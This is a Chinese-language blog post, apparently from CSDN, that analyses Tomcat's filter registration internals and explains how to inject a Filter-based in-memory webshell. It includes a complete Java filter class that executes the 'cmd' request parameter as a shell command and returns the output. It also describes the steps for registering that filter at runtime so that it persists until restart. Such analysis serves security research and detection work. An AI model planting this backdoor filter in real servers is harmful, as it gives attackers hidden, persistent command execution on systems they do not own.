Filter内存马浅析

1. 何谓内存马?

以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启。

Java内存shell有很多种,大致分为:

1. 动态注册filter

2. 动态注册servlet

3. 动态注册listener

4. 基于Java agent拦截修改关键类字节码实现内存shell

该文主要研究Filter内存马的原理和实现。

 

2. Filter注册流程

假设有一个需要注册的filter类——FilterDemo:

其中在web.xml 配置好该filter的映射和作用范围:

也可以通过 @WebFilter 修饰:

filter实现分为静态和动态,静态就是上述中,普通配置在web.xml或者通过@注释配置在类中的;动态下面会说到。无论静态还是动态的,都是通过解析StandardContext中的缓存构造ApplicationFilterConfig,进而生成当前应用请求链路的ApplicationFilterChain,并根据filter的顺序,一个filter一个filter的执行的。

2.1 请求过滤需要的Filter接口

Debug filterChain.doFilter() 方法,启动服务,然后访问主页即可调试:

跟进之,可以看到 doFilter() 的具体处理过程是在 internalDoFilter() 中:

注意,Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致。

总的来说,上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。

只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。

2.2 应用启动需要的接口

主要有三个类:

1. ApplicationFilterConfig

2. FilterDef

3. FilterMap

 

2.3 启动前的加载过程

主要涉及到三个类:

1. ServletContext

2. ApplicationContext

3. StandardContext

值得一提的是,在Servlet3.0版本以后,servlet和filter,甚至Listener都可以进行动态的创建,具体可以在ServletContext接口中可以简单看到:

ServletContext 接口中声明 添加filter接口 用来将filter添加到应用上下文。

ApplicationContext 类是 ServletContext 的实现类,实现了 ServletContext 中的 addFilter 方法,用于向属性中的StandandContext实例添加filterDef:

StandandContext类中filter关键的3个属性和2个方法:

1. filterMaps

2. filterDefs

3. filterConfigs

4. addFilterDef(填充filterDef对象)

5. filterStart(根据filterDefs初始化 filterConfigs )

查找 FilterDef:

添加FilterDef:

filterStart()中先清空了 filterConfigs的状态:

然后会将新的filterConfig添加到filterConfigs中:

类ApplicationFilterConfig是依赖FilterDef生成的,所以也可以等价理解为:根据 FilterDefs来初始化 filterConfigs

2.4 请求到达时的处理流程

处理请求时,到达 StandardWrapperValve 类的 invoke 函数中:

重点在于创建了filterChain来处理匹配到的filter请求,这里每个请求都会创建一个 filterChain,并不是所有请求共用的一个:

请求处理完成后 要释放掉filterChain:

具体看看 filterChain 实例是怎么创建的:

ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

查看当前是否存在 filterChain,有则复用;无则new一个。然后初始化配置:

然后从 context 上下文中获取到 FilterMaps:

接下来做两点操作:

1)从filterMap中寻找匹配路径的filter添加到链中:

2.)从filterMap中寻找filter的servlet名添加到链中:

总的来说,从StandandContext中获取filterMap;再从filterMap中找到和request对象能匹配到的filter-name;最后从StandandContext中通过filter-name找到filter-config实例。

最后通过 StandardWrapperValve#filterChain.doFilter() 来获取filter执行:

 

3. 注册流程总结

  1. context启动时,调用ServletContainerInitializers添加filter,调用AbstractFilterRegistrationBean类的addRegistration方法向context添加filter
  2. context中不存在FilterDef则创建对应FilterDef
  3. AbstractFilterRegistrationBean中configure方法添加匹配filter的uri,默认为/*
  4. context启动时,调用filterStart方法配置初始化ApplicationFilterConfig
  5. 调用filter的init方法
  6. 对每次到达的请求在StandardWrapperVavel的invoke方法中创建过滤器链
  7. 根据名称获得ApplicationFilterConfig添加到过滤器链,通过ApplicationFilterConfig来获取filter执行

https://cdn.jsdelivr.net/gh/cnsimo/pic_bed/20200704113125.png

(by 宽字节安全)

 

4. 实现

简单以小马为例:

4.1 编写Filter恶意类

public class FilterDemo implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            System.out.println("Filter初始化");
        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            System.out.println("进行过滤操作");
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                servletResponse.getWriter().write(output);
                servletResponse.getWriter().flush();
                return;
            }
            /*
             * -->放行<--
             * Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致,
             * 上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法
             * 最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法
             * 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行
             */
            filterChain.doFilter(servletRequest, servletResponse);
        }

        @Override
        public void destroy() {
            System.out.println("销毁操作");
        }
    }

4.2 获取StandardContext

这个老生常谈了,这里放一个获取StandardContext的方法:

4.3 添加FilterDef

有了恶意类FilterDemo和StandardContext后,参照tomcat源代码来实现注册自定义filter的操作。FilterDef就相当于web.xml中的filter:

Tomcat 在 org.apache.catalina.core.ApplicationContextFacade 当中实现了 ServletContext 中的 addFilter 和 addServlet ,这里我们分别看看,这里主要看 addFilter 的实现:

跟进this.context.addFilter函数,发现addFilter的实现实际是在 ApplicationContext#addFilter 当中;当然,也可以动态调试——搞清楚在什么时候 addFilter (添加Filter),就在 ApplicationContext#addFilter 中下断点,然后Debug启动tomcat8服务:

 

在addFilter中,代码的作用实际就是新建一个 filterDef 然后调用this.context.addFilterDef(filterDef); 进行添加了而已。此外,我们有了StandardContext,完全可以自行进行添加:

4.4 添加FilterMap

FilterMap用于保存filter名称与url的映射,就相当于web.xml中的filter-mapping:

我们知道,tomcat的filter的创建是在StandardWrapperValve#invoke() 函数中完成的:

通过 createFilterChain 创建一个ApplicationFilterChain:

在 createFilterChain() 中会将匹配到的filter加入filterChain:

注意这里进行if匹配的时候,DispatcherType类型是 REQUEST:

由于我们上面构造好了 FilterDef,接下来直接构造一个FilterMap,再加入 filterChain就好了:(其中urlPattern自行定义好,只有匹配到才会进行filter处理,可以类似理解为一个webshell后门密码的操作)

这里为啥要用 addFilterMapBefore() 而不用 addFilterMap() 呢?

从之前的 createFilterChain() 中添加Filter可以看出是按从头到尾的顺序来添加的:

所以 addFilterMapBefore() 的作用是将当前创建的 filterMap 添加到 filter链的第一位去。

4.5 添加到 filterConfigs

跟进到最开始的StandardContext#filterStart 方法可以看到,遍历了 filterDefs 当中 filterName :

然后把对应的 name 添加到 filterConfigs 当中:

值得注意的是,源代码中是通过 ApplicationFilterConfig (Context context, FilterDef filterDef) 的构造器来获取到filterConfig的:

说明这个类是依赖FilterDef生成的。

同时,继承自 FilterConfig,那么在jsp中,我们可以通过反射 ApplicationFilterConfig的构造器来获取到 filterConfig 对象,然后添加到 filterConfigs 中:

为了适配其他tomcat环境,这里通过反射来获取 filterConfigs:

或者直接刷新 filterConfigs,自动将filterConfig 添加到 filterConfigs 中:

4.6 效果

原始:

访问生成内存马的jsp:

访问内存马:

 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值